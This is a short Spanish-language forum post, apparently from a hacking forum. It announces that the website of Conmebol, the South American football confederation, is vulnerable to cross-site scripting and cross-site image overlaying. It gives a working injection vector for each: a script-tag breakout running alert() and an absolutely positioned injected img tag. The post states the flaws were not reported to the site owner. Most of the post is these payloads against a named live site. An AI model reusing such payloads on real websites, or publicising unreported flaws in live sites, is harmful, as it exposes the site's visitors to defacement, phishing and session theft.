[XSS] & [XSIO] Conmebol

Pude percatarme que la página web de la Conmebol es vulnerable a XSS y a XSIO (y de seguro a un montón de otras):

XSS



Url: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Vector: "/><script>alert(String.fromCharCode(104,117,048,114,032,085,110,100,101,114,099,048,100,101))</script>

XSIO



Url: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Vector: "><img src='You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login' style='position:absolute;left:50px;top:0px;'/>

------------------

Reportado: NO